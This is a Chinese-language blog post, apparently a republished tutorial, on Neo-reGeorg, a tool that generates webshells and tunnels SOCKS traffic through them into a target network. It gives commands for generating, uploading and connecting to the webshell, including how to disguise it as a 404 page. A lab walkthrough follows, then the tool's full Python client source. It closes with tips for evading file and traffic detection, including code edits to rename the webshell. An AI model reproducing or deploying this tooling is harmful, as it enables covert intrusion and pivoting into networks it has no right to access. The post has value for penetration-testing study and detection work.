前言
本文研究HTTP隧道的一个工具，Neo-reGeorg
github：https://github.com/L-codes/Neo-reGeorg
一、概述
1、简介
写于2020年，持续更新，重构版reGeorg，python写的，提高稳定性和可用性，避免特征检测
- 传输内容经过变形 base64 加密，伪装成 base64 编码
- 直接请求响应可定制化 (如伪装的404页面)
- HTTP Headers 的指令随机生成，避免特征检测
- HTTP Headers 可定制化
- 自定义 HTTP 响应码
- 多 URL 随机请求
- 服务端 DNS 解析
- 兼容 python2 / python3
- 服务端环境的高兼容性
- aspx/ashx/jsp/jspx 已不再依赖 Session，可在无 Cookie 等恶劣环境正常运行
2、原理
socks代理数据是包裹在http协议里边
3、用法
-
生成webshell
python3 neoreg.py generate -k password -
上传生成的webshell
-
连接webshell
python3 neoreg.py -k password -u http://xx/tunnel.php
特殊用法
-
伪装404
python neoreg.py generate -k <you_password> --file 404.html --httpcode 404 -
如需 Authorization 认证和定制的 Header 或 Cookie
$ python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2" -
需要分散请求，可上传到多个路径上，如内存马
python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ... -
使用端口转发功能，非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )
python neoreg.py -k <you_password> -u <url> -t <ip:port>
二、实践
1、测试场景
攻击机（服务端）：kali 192.168.10.128
目标机（客户端）：ubuntu 192.168.10.129
开放web服务
2、建立隧道
生成webshell
python3 neoreg.py generate -k 123456
将tunnel.jsp改名为1.jsp
上传1.jsp，curl下确认
连接webshell
python3 neoreg.py -k 123456 -u http://192.168.10.129/1.jsp
然后就可以通过proxychains来利用socks代理了
三、探索
1、源码与分析
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'L'
__version__ = '3.4.0'
import sys
import os
import re
import base64
import struct
import random
import hashlib
import logging
import argparse
import requests
import uuid
import codecs
from time import sleep, time, mktime
from datetime import datetime
from socket import *
from itertools import chain
from threading import Thread
requests.packages.urllib3.disable_warnings()
ROOT = os.path.dirname(os.path.realpath(__file__))
ispython3 = True if sys.version_info >= (3, 0) else False
# Constants
SOCKTIMEOUT = 5
VER = b"\x05"
METHOD = b"\x00"
SUCCESS = b"\x00"
REFUSED = b"\x05"
#SOCKFAIL = b"\x01"
#NETWORKFAIL = b"\x02"
#HOSTFAIL = b"\x04"
#TTLEXPIRED = b"\x06"
#UNSUPPORTCMD = b"\x07"
#ADDRTYPEUNSPPORT = b"\x08"
#UNASSIGNED = b"\x09"
# Globals
READBUFSIZE = 7
MAXTHERADS = 1000
READINTERVAL = 300
WRITEINTERVAL = 200
PHPTIMEOUT = 0.5
# Logging
RESET_SEQ = "\033[0m"
COLOR_SEQ = "\033[1;%dm"
BOLD_SEQ = "\033[1m"
BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8)
# CRITICAL > ERROR > WARNING > INFO > DEBUG > NOTSET
LEVEL = [
('ERROR', logging.ERROR),
('WARNING', logging.WARNING),
('INFO', logging.INFO),
('DEBUG', logging.DEBUG),
]
COLORS = {
'WARNING': YELLOW,
'INFO': WHITE,
'DEBUG': BLUE,
'CRITICAL': YELLOW,
'ERROR': RED,
'RED': RED,
'GREEN': GREEN,
'YELLOW': YELLOW,
'BLUE': BLUE,
'MAGENTA': MAGENTA,
'CYAN': CYAN,
'WHITE': WHITE,
}
# 消息的格式和颜色
def formatter_message(message, use_color=True):
if use_color:
message = message.replace("$RESET", RESET_SEQ).replace("$BOLD", BOLD_SEQ)
else:
message = message.replace("$RESET", "").replace("$BOLD", "")
return message
class ColoredFormatter(logging.Formatter):
def __init__(self, msg, use_color=True):
logging.Formatter.__init__(self, msg)
self.use_color = use_color
def format(self, record):
levelname = record.levelname
if self.use_color and levelname in COLORS:
levelname_color = COLOR_SEQ % (30 + COLORS[levelname]) + levelname + RESET_SEQ
record.levelname = levelname_color
return logging.Formatter.format(self, record)
class ColoredLogger(logging.Logger):
def __init__(self, name):
use_color = not sys.platform.startswith('win')
FORMAT = "[$BOLD%(levelname)-19s$RESET] %(message)s"
COLOR_FORMAT = formatter_message(FORMAT, use_color)
logging.Logger.__init__(self, name, 'INFO')
if (name == "transfer"):
COLOR_FORMAT = "\x1b[80D\x1b[1A\x1b[K%s" % COLOR_FORMAT
color_formatter = ColoredFormatter(COLOR_FORMAT, use_color)
console = logging.StreamHandler()
console.setFormatter(color_formatter)
self.addHandler(console)
logging.setLoggerClass(ColoredLogger)
log = logging.getLogger(__name__)
transferLog = logging.getLogger("transfer")
class SocksCmdNotImplemented(Exception):
pass
# 给请求头提供随机键值
class Rand:
def __init__(self, key):
n = int(hashlib.sha512(key.encode()).hexdigest(), 16)
self.k_clist = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
self.v_clist = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_"
self.k_clen = len(self.k_clist)
self.v_clen = len(self.v_clist)
random.seed(n)
def header_key(self):
str_len = random.getrandbits(4) + 2 # len 2 to 17
return ''.join([ self.k_clist[random.getrandbits(10) % self.k_clen] for _ in range(str_len) ]).capitalize()
def header_value(self):
str_len = random.getrandbits(6) + 2 # len 2 to 65
return ''.join([ self.v_clist[random.getrandbits(10) % self.v_clen] for _ in range(str_len) ])
def base64_chars(self, charslist):
if sys.version_info >= (3, 2):
newshuffle = random.shuffle
else:
try:
xrange
except NameError:
xrange = range
def newshuffle(x):
def _randbelow(n):
getrandbits = random.getrandbits
k = n.bit_length()
r = getrandbits(k)
while r >= n:
r = getrandbits(k)
return r
for i in xrange(len(x) - 1, 0, -1):
j = _randbelow(i+1)
x[i], x[j] = x[j], x[i]
newshuffle(charslist)
# 核心部分
class session(Thread):
def __init__(self, conn, pSocket, connectURLs, redirectURLs, FwdTarget):
Thread.__init__(self)
self.pSocket = pSocket
self.connectURLs = connectURLs
self.redirectURLs = redirectURLs
self.conn = conn
self.connect_closed = False
self.session_connected = False
self.fwd_target = FwdTarget
# webshell的连接url
def url_sample(self):
return random.choice(self.connectURLs)
# 转发的url
def redirect_url_sample(self):
return random.choice(self.redirectURLs)
# 更新请求头
def headerupdate(self, headers):
headers.update(HEADERS)
if self.redirectURLs:
headers[K['X-REDIRECTURL']] = self.redirect_url_sample()
# 利用uuid生成随机字符串
def session_mark(self):
mark = base64.b64encode(uuid.uuid4().bytes)[0:-2]
if ispython3:
mark = mark.decode()
mark = mark.replace('+', ' ').replace('/', '_')
mark = re.sub('^[ _]| $', 'L', mark) # Invalid return character or leading space in header
return mark
# SOCKS5
def parseSocks5(self, sock):
log.debug("SocksVersion5 detected")
nmethods = sock.recv(1)
methods = sock.recv(ord(nmethods))
sock.sendall(VER + METHOD)
ver = sock.recv(1)
if ver == b"\x02": # this is a hack for proxychains
ver, cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1), sock.recv(1))
else:
cmd, rsv, atyp = (sock.recv(1), sock.recv(1), sock.recv(1))
target = None
targetPort = None
if atyp == b"\x01": # IPv4
target = sock.recv(4)
targetPort = sock.recv(2)
target = inet_ntoa(target)
elif atyp == b"\x03": # Hostname
targetLen = ord(sock.recv(1)) # hostname length (1 byte)
target = sock.recv(targetLen)
targetPort = sock.recv(2)
if LOCALDNS:
try:
target = gethostbyname(target)
except:
log.error("DNS resolution failed(%s)" % target.decode())
return False
else:
target = target.decode()
elif atyp == b"\x04": # IPv6
target = sock.recv(16)
targetPort = sock.recv(2)
target = inet_ntop(AF_INET6, target)
if targetPort == None:
return False
targetPortNum = struct.unpack('>H', targetPort)[0]
if cmd == b"\x02": # BIND
raise SocksCmdNotImplemented("Socks5 - BIND not implemented")
elif cmd == b"\x03": # UDP
raise SocksCmdNotImplemented("Socks5 - UDP not implemented")
elif cmd == b"\x01": # CONNECT
try:
serverIp = inet_aton(target)
except:
# Forged temporary address 127.0.0.1
serverIp = inet_aton('127.0.0.1')
mark = self.setupRemoteSession(target, targetPortNum)
if mark:
sock.sendall(VER + SUCCESS + b"\x00" + b"\x01" + serverIp + targetPort)
return True
else:
sock.sendall(VER + REFUSED + b"\x00" + b"\x01" + serverIp + targetPort)
return False
raise SocksCmdNotImplemented("Socks5 - Unknown CMD")
# 检查是不是SOCKS5
def handleSocks(self, sock):
try:
ver = sock.recv(1)
if ver == b"\x05":
res = self.parseSocks5(sock)
if not res:
sock.close()
return res
elif ver == b'':
log.warning("[SOCKS] Failed to get version")
else:
log.error("Only support Socks5 protocol")
return False
except OSError:
return False
except timeout:
return False
# 启动线程
def handleFwd(self, sock):
log.debug("Forward detected")
host, port = self.fwd_target.split(':', 1)
mark = self.setupRemoteSession(host, int(port))
return bool(mark)
# 错误信息
def error_log(self, str_format, headers):
if K['X-ERROR'] in headers:
message = headers[K["X-ERROR"]]
if message in rV:
message = rV[message]
log.error(str_format.format(repr(message)))
# base64加密ip:port
def encode_target(self, data):
data = base64.b64encode(data)
if ispython3:
data = data.decode()
return data.translate(EncodeMap)
# base64加密信息
def encode_body(self, data):
data = base64.b64encode(data)
if ispython3:
data = data.decode()
return data.translate(EncodeMap)
# base64解密信息
def decode_body(self, data):
if ispython3:
data = data.decode()
return base64.b64decode(data.translate(DecodeMap))
# SOCKS线程
def setupRemoteSession(self, target, port):
self.mark = self.session_mark()
target_data = ("%s|%d" % (target, port)).encode()
headers = {K["X-CMD"]: self.mark+V["CONNECT"], K["X-TARGET"]: self.encode_target(target_data)}
self.headerupdate(headers)
self.target = target
self.port = port
if '.php' in self.connectURLs[0]:
try:
response = self.conn.get(self.url_sample(), headers=headers, timeout=PHPTIMEOUT)
except:
log.info("[%s:%d] HTTP [200]: mark [%s]" % (self.target, self.port, self.mark))
return self.mark
else:
response = self.conn.get(self.url_sample(), headers=headers)
rep_headers = response.headers
if K['X-STATUS'] in rep_headers:
status = rep_headers[K["X-STATUS"]]
if status == V["OK"]:
log.info("[%s:%d] Session mark [%s]" % (self.target, self.port, self.mark))
return self.mark
else:
self.error_log('[CONNECT] [%s:%d] ERROR: {}' % (self.target, self.port), rep_headers)
return False
else:
log.critical('Bad KEY or non-neoreg server')
return False
# 结束SOCKS线程
def closeRemoteSession(self):
try:
if not self.connect_closed:
self.connect_closed = True
try:
self.pSocket.close()
log.debug("[%s:%d] Closing localsocket" % (self.target, self.port))
except:
if hasattr(self, 'target'):
log.debug("[%s:%d] Localsocket already closed" % (self.target, self.port))
if hasattr(self, 'mark'):
headers = {K["X-CMD"]: self.mark+V["DISCONNECT"]}
self.headerupdate(headers)
response = self.conn.get(self.url_sample(), headers=headers)
if not self.connect_closed:
if hasattr(self, 'target'):
log.info("[DISCONNECT] [%s:%d] Connection Terminated" % (self.target, self.port))
else:
log.error("[DISCONNECT] Can't find target")
except requests.exceptions.ConnectionError as e:
log.warning('[requests.exceptions.ConnectionError] {}'.format(e))
# 读取数据
def reader(self):
try:
headers = {K["X-CMD"]: self.mark+V["READ"]}
self.headerupdate(headers)
n = 0
while True:
try:
if self.connect_closed or self.pSocket.fileno() == -1:
break
response = self.conn.get(self.url_sample(), headers=headers)
rep_headers = response.headers
if K['X-STATUS'] in rep_headers:
status = rep_headers[K["X-STATUS"]]
if status == V["OK"]:
data = response.content
if len(data) == 0:
sleep(READINTERVAL)
continue
else:
data = self.decode_body(data)
else:
msg = "[READ] [%s:%d] HTTP [%d]: Status: [%s]: Message [{}] Shutting down" % (self.target, self.port, response.status_code, rV[status])
self.error_log(msg, rep_headers)
break
else:
log.error("[READ] [%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status_code))
break
if len(data) > 0:
n += 1
data_len = len(data)
transferLog.info("[%s:%d] [%s] (%d)<<<< [%d]" % (self.target, self.port, self.mark, n, data_len))
while data:
writed_size = self.pSocket.send(data)
data = data[writed_size:]
if data_len < 500:
sleep(READINTERVAL)
except error: # python2 socket.send error
pass
except requests.exceptions.ConnectionError as e:
log.warning('[requests.exceptions.ConnectionError] {}'.format(e))
except requests.exceptions.ChunkedEncodingError as e: # python2 requests error
log.warning('[requests.exceptions.ChunkedEncodingError] {}'.format(e))
except Exception as ex:
raise ex
finally:
self.closeRemoteSession()
# 写数据
def writer(self):
try:
headers = {K["X-CMD"]: self.mark+V["FORWARD"], 'Content-type': 'application/octet-stream'}
self.headerupdate(headers)
n = 0
while True:
try:
raw_data = self.pSocket.recv(READBUFSIZE)
if not raw_data:
break
data = self.encode_body(raw_data)
response = self.conn.post(self.url_sample(), headers=headers, data=data)
rep_headers = response.headers
if K['X-STATUS'] in rep_headers:
status = rep_headers[K["X-STATUS"]]
if status != V["OK"]:
msg = "[FORWARD] [%s:%d] HTTP [%d]: Status: [%s]: Message [{}] Shutting down" % (self.target, self.port, response.status_code, rV[status])
self.error_log(msg, rep_headers)
break
else:
log.error("[FORWARD] [%s:%d] HTTP [%d]: Shutting down" % (self.target, self.port, response.status_code))
break
n += 1
transferLog.info("[%s:%d] [%s] (%d)>>>> [%d]" % (self.target, self.port, self.mark, n, len(raw_data)))
if len(raw_data) < READBUFSIZE:
sleep(WRITEINTERVAL)
except timeout:
continue
except error:
break
except OSError:
break
except requests.exceptions.ConnectionError as e: # python2 socket.send error
log.error('[requests.exceptions.ConnectionError] {}'.format(e))
break
except Exception as ex:
raise ex
break
finally:
self.closeRemoteSession()
# 启动线程
def run(self):
try:
if self.fwd_target:
self.session_connected = self.handleFwd(self.pSocket)
else:
self.session_connected = self.handleSocks(self.pSocket)
if self.session_connected:
log.debug("Staring reader")
r = Thread(target=self.reader)
r.start()
log.debug("Staring writer")
w = Thread(target=self.writer)
w.start()
r.join()
w.join()
except SocksCmdNotImplemented as si:
log.error('[SocksCmdNotImplemented] {}'.format(si))
except requests.exceptions.ConnectionError as e:
log.warning('[requests.exceptions.ConnectionError] {}'.format(e))
except Exception as e:
log.error('[RUN] {}'.format(e))
raise e
finally:
if self.session_connected:
self.closeRemoteSession()
# 客户端连接webshell时的逻辑
def askGeorg(conn, connectURLs, redirectURLs):
# only check first
log.info("Checking if Georg is ready")
headers = {}
headers.update(HEADERS)
if redirectURLs:
headers[K['X-REDIRECTURL']] = redirectURLs[0]
if INIT_COOKIE:
headers['Cookie'] = INIT_COOKIE
need_exit = False
try:
response = conn.get(connectURLs[0], headers=headers, timeout=10)
if '.php' in connectURLs[0]:
if 'Expires' in response.headers:
expires = response.headers['Expires']
try:
expires_date = datetime.strptime(expires, '%a, %d %b %Y %H:%M:%S %Z')
if mktime(expires_date.timetuple()) < time():
log.warning('Server Session expired')
if 'Set-Cookie' in response.headers:
cookie = ''
for k, v in response.cookies.items():
cookie += '{}={};'.format(k, v)
HEADERS.update({'Cookie' : cookie})
log.warning("Automatically append Cookies: {}".format(cookie))
else:
log.error('There is no valid cookie return')
need_exit = True
except ValueError:
log.warning('Expires wrong format: {}'.format(expires))
except:
log.error("Georg is not ready, please check URL.")
exit()
if need_exit:
exit()
if redirectURLs and response.status_code >= 400:
log.warning('Using redirection will affect performance when the response code >= 400')
if BASICCHECKSTRING == response.content.strip():
log.info("Georg says, 'All seems fine'")
return True
else:
if args.skip:
log.debug("Ignore detecting that Georg is ready")
else:
if K['X-ERROR'] in response.headers:
message = response.headers[K["X-ERROR"]]
if message in rV:
message = rV[message]
log.error("Georg is not ready. Error message: %s" % message)
else:
log.warning('Expect Response: {}'.format(BASICCHECKSTRING[0:100]))
log.warning('Real Response: {}'.format(response.content.strip()[0:100]))
log.error("Georg is not ready, please check URL and KEY. rep: [{}] {}".format(response.status_code, response.reason))
log.error("You can set the `--skip` parameter to ignore errors")
exit()
# 随机useragent
def choice_useragent():
user_agents = [
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/7.1.7 Safari/537.85.16",
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.11 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.11",
"Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0",
"Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0",
"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:38.0) Gecko/20100101 Firefox/38.0"
]
return random.choice(user_agents)
# 读取webshell
def file_read(filename):
try:
with codecs.open(filename, encoding="utf-8") as f:
return f.read()
except:
log.error("Failed to read file: %s" % filename)
exit()
# 生成webshell
def file_write(filename, data):
try:
with open(filename, 'w') as f:
f.write(data)
except:
log.error("Failed to write file: %s" % filename)
exit()
banner = r"""
"$$$$$$'' 'M$ '$$$@m
:$$$$$$$$$$$$$$''$$$$'
'$' 'JZI'$$& $$$$'
'$$$ '$$$$
$$$$ J$$$$'
m$$$$ $$$$,
$$$$@ '$$$$_ Neo-reGeorg
'1t$$$$' '$$$$<
'$$$$$$$$$$' $$$$ version {}
'@$$$$' $$$$'
'$$$$ '$$$@
'z$$$$$$ @$$$
r$$$ $$|
'$$v c$$
'$$v $$v$$$$$$$$$#
$$x$$$$$$$$$twelve$$$@$'
@$$$@L ' '<@$$$$$$$$`
$$ '$$$
[ Github ] https://github.com/L-codes/neoreg
""".format(__version__)
use_examples = r"""
[ Basic Use ]
./neoreg.py generate -k <you_password>
./neoreg.py -k <you_password> -u <server_url>
[ Advanced Use ]
./neoreg.py generate -k <you_password> --file 404.html
./neoreg.py -k <you_password> -u <server_url> \
--skip --proxy http://127.0.0.1:8080 -vv \
-H 'Authorization: cm9vdDppcyB0d2VsdmU='
"""
if __name__ == '__main__':
if len(sys.argv) == 1:
print(banner)
print(use_examples)
exit()
elif len(sys.argv) > 1 and sys.argv[1] == 'generate':
del sys.argv[1]
parser = argparse.ArgumentParser(description='Generate neoreg webshell')
parser.add_argument("-k", "--key", metavar="KEY", required=True, help="Specify connection key.")
parser.add_argument("-o", "--outdir", metavar="DIR", help="Output directory.", default='neoreg_servers')
parser.add_argument("-f", "--file", metavar="FILE", help="Camouflage html page file")
parser.add_argument("-c", "--httpcode", metavar="CODE", help="Specify HTTP response code. When using -r, it is recommended to <400. (default: 200)", type=int, default=200)
parser.add_argument("--read-buff", metavar="Bytes", help="Remote read buffer. (default: 513)", type=int, default=513)
parser.add_argument("--max-read-size", metavar="KB", help="Remote max read size. (default: 512)", type=int, default=512)
args = parser.parse_args()
else:
parser = argparse.ArgumentParser(description="Socks server for Neoreg HTTP(s) tunneller. DEBUG MODE: -k (debug_all|debug_base64|debug_headers_key|debug_headers_values)")
parser.add_argument("-u", "--url", metavar="URI", required=True, help="The url containing the tunnel script", action='append')
parser.add_argument("-r", "--redirect-url", metavar="URL", help="Intranet forwarding the designated server (only jsp(x))", action='append')
parser.add_argument("-t", "--target", metavar="IP:PORT", help="Network forwarding Target, After setting this parameter, port forwarding will be enabled")
parser.add_argument("-k", "--key", metavar="KEY", required=True, help="Specify connection key")
parser.add_argument("-l", "--listen-on", metavar="IP", help="The default listening address.(default: 127.0.0.1)", default="127.0.0.1")
parser.add_argument("-p", "--listen-port", metavar="PORT", help="The default listening port.(default: 1080)", type=int, default=1080)
parser.add_argument("-s", "--skip", help="Skip usability testing", action='store_true')
parser.add_argument("-H", "--header", metavar="LINE", help="Pass custom header LINE to server", action='append', default=[])
parser.add_argument("-c", "--cookie", metavar="LINE", help="Custom init cookies")
parser.add_argument("-x", "--proxy", metavar="LINE", help="Proto://host[:port] Use proxy on given port", default=None)
parser.add_argument("--php-connect-timeout", metavar="S", help="PHP connect timeout.(default: 0.5)", type=float, default=PHPTIMEOUT)
parser.add_argument("--local-dns", help="Use local resolution DNS", action='store_true')
parser.add_argument("--read-buff", metavar="KB", help="Local read buffer, max data to be sent per POST.(default: {}, max: 50)".format(READBUFSIZE), type=int, default=READBUFSIZE)
parser.add_argument("--read-interval", metavar="MS", help="Read data interval in milliseconds.(default: {})".format(READINTERVAL), type=int, default=READINTERVAL)
parser.add_argument("--write-interval", metavar="MS", help="Write data interval in milliseconds.(default: {})".format(WRITEINTERVAL), type=int, default=WRITEINTERVAL)
parser.add_argument("--max-threads", metavar="N", help="Proxy max threads.(default: 1000)", type=int, default=MAXTHERADS)
parser.add_argument("-v", help="Increase verbosity level (use -vv or more for greater effect)", action='count', default=0)
args = parser.parse_args()
rand = Rand(args.key)
BASE64CHARS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
if args.key in ['debug_all', 'debug_base64']:
M_BASE64CHARS = BASE64CHARS
else:
M_BASE64CHARS = list(BASE64CHARS)
rand.base64_chars(M_BASE64CHARS)
M_BASE64CHARS = ''.join(M_BASE64CHARS)
if ispython3:
maketrans = str.maketrans
else:
from string import maketrans
EncodeMap = maketrans(BASE64CHARS, M_BASE64CHARS)
DecodeMap = maketrans(M_BASE64CHARS, BASE64CHARS)
BASICCHECKSTRING = ('<!-- ' + rand.header_value() + ' -->').encode()
K = {}
for name in ["X-STATUS", "X-ERROR", "X-CMD", "X-TARGET", "X-REDIRECTURL"]:
if args.key in ['debug_all', 'debug_headers_key']:
K[name] = name
else:
K[name] = rand.header_key()
V = {}
rV = {}
for name in ["FAIL", "Failed creating socket", "Failed connecting to target", "OK", "Failed writing socket",
"CONNECT", "DISCONNECT", "READ", "FORWARD", "Failed reading from socket", "No more running, close now",
"POST request read filed", "Intranet forwarding failed"]:
if args.key in ['debug_all', 'debug_headers_value']:
V[name] = name
rV[name] = name
else:
value = rand.header_value()
V[name] = value
rV[value] = name
if 'url' in args:
# neoreg connect
if args.v > 2:
args.v = 2
LOCALDNS = args.local_dns
LEVELNAME, LEVELLOG = LEVEL[args.v]
log.setLevel(LEVELLOG)
transferLog.setLevel(LEVELLOG)
separation = "+" + "-" * 72 + "+"
print(banner)
print(separation)
print(" Log Level set to [%s]" % LEVELNAME)
USERAGENT = choice_useragent()
PHPTIMEOUT = args.php_connect_timeout
urls = args.url
redirect_urls = []
HEADERS = {}
if args.redirect_url:
for url in args.redirect_url:
data = base64.b64encode(url.encode())
if ispython3:
data = data.decode()
redirect_urls.append( data.translate(EncodeMap) )
for header in args.header:
if ':' in header:
key, value = header.split(':', 1)
HEADERS[key.strip()] = value.strip()
else:
print("\nError parameter: -H %s" % header)
exit()
INIT_COOKIE = args.cookie
PROXY = { 'http': args.proxy, 'https': args.proxy } if args.proxy else None
if args.target:
if not re.match(r'[^:]+:\d+', args.target):
print("[!] Target parameter error: {}".format(args.target))
exit()
print(" Starting Forward [%s:%d] => [%s]" % (args.listen_on, args.listen_port, args.target))
else:
print(" Starting SOCKS5 server [%s:%d]" % (args.listen_on, args.listen_port))
print(" Tunnel at:")
for url in urls:
print(" "+url)
if args.proxy:
print(" Client Proxy:\n "+ args.proxy)
if redirect_urls:
print(" Redirect to:")
for url in args.redirect_url:
print(" "+url)
print(separation)
try:
conn = requests.Session()
conn.proxies = PROXY
conn.verify = False
conn.headers['Accept-Encoding'] = 'gzip, deflate'
conn.headers['User-Agent'] = USERAGENT
servSock_start = False
askGeorg(conn, urls, redirect_urls)
READBUFSIZE = min(args.read_buff, 50) * 1024
MAXTHERADS = args.max_threads
READINTERVAL = args.read_interval / 1000.0
WRITEINTERVAL = args.write_interval / 1000.0
try:
servSock = socket(AF_INET, SOCK_STREAM)
servSock_start = True
servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
servSock.bind((args.listen_on, args.listen_port))
servSock.listen(MAXTHERADS)
except Exception as e:
log.error("[Server Listen] {}".format(e))
exit()
while True:
try:
sock, addr_info = servSock.accept()
sock.settimeout(SOCKTIMEOUT)
log.debug("Incomming connection")
session(conn, sock, urls, redirect_urls, args.target).start()
except KeyboardInterrupt as ex:
break
except timeout:
log.warning("[Socks Connect Tiemout] {}".format(addr_info))
if sock:
sock.close()
except OSError:
if sock:
sock.close()
except error:
pass
except Exception as e:
log.error(e)
raise e
except requests.exceptions.ProxyError:
log.error("Unable to connect proxy: %s" % args.proxy)
except requests.exceptions.ConnectionError:
log.error("Can not connect to the server")
finally:
if servSock_start:
servSock.close()
else:
# neoreg server generate
print(banner)
READBUF = args.read_buff - (args.read_buff % 3)
MAXREADSIZE = args.max_read_size * 1024
outdir = args.outdir
if not os.path.isdir(outdir):
os.mkdir(outdir)
print(' [+] Mkdir a directory: %s' % outdir)
keyfile = os.path.join(outdir, 'key.txt')
file_write(keyfile, args.key)
M_BASE64ARRAY = []
for i in range(128):
if chr(i) in BASE64CHARS:
num = M_BASE64CHARS.index(chr(i))
M_BASE64ARRAY.append(num)
else:
M_BASE64ARRAY.append(-1)
script_dir = os.path.join(ROOT, 'templates')
print(" [+] Create neoreg server files:")
if args.file:
http_get_content = repr(file_read(args.file)).replace("\\'", "'").replace('"', '\\"')[1:-1]
http_get_content, n = re.subn(r'\\[xX][a-fA-F0-9]{2}', '', http_get_content)
if n > 0:
print(" [*] %d invisible strings were deleted" % n)
else:
http_get_content = BASICCHECKSTRING.decode()
for filename in os.listdir(script_dir):
outfile = os.path.join(outdir, filename)
filepath = os.path.join(script_dir, filename)
if os.path.isfile(filepath) and filename.startswith('tunnel.'):
text = file_read(filepath)
text = text.replace(r"Georg says, 'All seems fine'", http_get_content)
text = re.sub(r"BASE64 CHARSLIST", M_BASE64CHARS, text)
# only jsp
text = re.sub(r"BASE64 ARRAYLIST", ','.join(map(str, M_BASE64ARRAY)), text)
text = re.sub(r"\bREADBUF\b", str(READBUF), text)
text = re.sub(r"\bMAXREADSIZE\b", str(MAXREADSIZE), text)
for k, v in chain(K.items(), V.items()):
text = re.sub(r'\b%s\b' % k, v, text)
text = re.sub(r"\bHTTPCODE\b", str(args.httpcode), text)
file_write(outfile, text)
print(" => %s/%s" % (outdir, os.path.basename(outfile)))
# jsp/jspx trimDirectiveWhitespaces=true
if filename.endswith(('.jsp', '.jspx')):
text = text.replace(' trimDirectiveWhitespaces="true"', '')
outfile = os.path.join(outdir, filename.replace('tunnel.', 'tunnel_compatibility.'))
file_write(outfile, text)
print(" => %s/%s" % (outdir, os.path.basename(outfile)))
print('')
2、检测与绕过
（1）文件特征
webshell的hash和文件名（现在默认tunnel）还有代码特征等
绕过：进行针对性修改
-k：主要影响webshell文件中的随机字符串，主要位置在headers的键值。
-f：主要影响webshell文件最后位置，exit函数运行结束后打印的html代码。
-c：主要影响webshell文件设定的响应状态码。
再加个-n来修改文件名，代码里加入：
// 558行添加
parser.add_argument("-n", "--filename", metavar="FILENAME", help="webshell name", default="tunnel")
// 739行下面添加
outfilename = filename.replace('tunnel.', args.filename + '.')
outfile = os.path.join(outdir, outfilename)
// 770行改为入下
outfile = os.path.join(outdir, filename.replace('tunnel.', args.filename + '_compatibility.'))
（2）流量特征
由于都用了随机字符和base64编码，所以流量特征不是很明显，不过另一方面来讲，有些本身可读的，比如header就显眼了
绕过：改为维护一个字典，而不是纯随机文章来源：https://www.toymoban.com/news/detail-448202.html
结语
由于是HTTP，没有加密，所以其实可用的空间不大文章来源地址https://www.toymoban.com/news/detail-448202.html
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